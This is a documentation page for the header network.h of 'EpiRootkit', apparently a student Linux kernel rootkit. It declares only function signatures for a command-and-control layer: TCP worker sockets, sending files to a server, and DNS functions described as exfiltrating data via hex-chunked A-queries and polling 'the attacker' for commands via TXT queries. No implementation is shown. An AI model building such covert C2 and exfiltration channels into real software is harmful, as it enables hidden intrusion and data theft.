EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
network.h
Go to the documentation of this file.
1#ifndef NETWORK_H
2#define NETWORK_H
3
4#include <linux/delay.h>
5#include <linux/errno.h>
6#include <linux/fcntl.h>
7#include <linux/in.h>
8#include <linux/inet.h>
9#include <linux/kthread.h>
10#include <linux/module.h>
11#include <linux/mutex.h>
12#include <linux/net.h>
13#include <linux/random.h>
14#include <linux/socket.h>
15#include <linux/uio.h>
16
17#include "config.h"
18#include "crypto.h"
19#include "cmd.h"
20
21// network.c
22int send_to_server_raw(const char *data, size_t len); // Send a message to the server
23int send_to_server(enum Protocol protocol, char *message, ...); // Send a formatted message to the server (DNS or TCP)
24int receive_from_server(char *buffer, size_t len); // Receive a message from the server
25int send_file_to_server(char *filename); // Send a file to the server
26
27// protocols/tcp/socket.c
28struct socket *get_worker_socket(void); // Get the worker socket
29struct socket *set_worker_socket(struct socket *s); // Set the worker socket
30int close_worker_socket(void); // Close the worker socket
31int connect_worker_socket_to_server(struct sockaddr_in *addr); // Connect the worker socket to the server
32
33// protocols/tcp/worker.c
34bool is_user_auth(void); // Check if the user is authenticated
35int set_user_auth(bool auth); // Set the user authentication status
36int start_network_worker(void); // Start the network worker thread
37int stop_network_worker(void); // Stop the network worker thread
38
39// protocols/dns/dns.c
40int dns_send_data(const char *data, size_t len); // Send data over DNS
41int dns_receive_command(char *buffer, size_t max_len); // Receive command over DNS
42
43// protocols/dns/worker.c
44int start_dns_worker(void); // Start the DNS worker thread
45int stop_dns_worker(void); // Stop the DNS worker thread
46
47#endif /* NETWORK_H */
char * message
Protocol
Definition config.h:28
int set_user_auth(bool auth)
Definition tcp/worker.c:22
int dns_receive_command(char *buffer, size_t max_len)
Poll the attacker via DNS TXT-query for a pending command.
Definition dns.c:222
int dns_send_data(const char *data, size_t len)
Exfiltrate a data buffer over DNS by hex-chunked A-queries.
Definition dns.c:149
int start_network_worker(void)
Definition tcp/worker.c:161
int close_worker_socket(void)
Definition socket.c:43
int connect_worker_socket_to_server(struct sockaddr_in *addr)
Definition socket.c:59
int start_dns_worker(void)
Starts the DNS worker kernel thread.
Definition dns/worker.c:45
int send_to_server(enum Protocol protocol, char *message,...)
Definition network.c:67
int send_to_server_raw(const char *data, size_t len)
Definition network.c:123
int stop_dns_worker(void)
Stops the DNS worker kernel thread.
Definition dns/worker.c:72
struct socket * get_worker_socket(void)
Definition socket.c:17
int receive_from_server(char *buffer, size_t len)
Definition network.c:200
int send_file_to_server(char *filename)
struct socket * set_worker_socket(struct socket *s)
Definition socket.c:30
bool is_user_auth(void)
Definition tcp/worker.c:13
int stop_network_worker(void)
Definition tcp/worker.c:185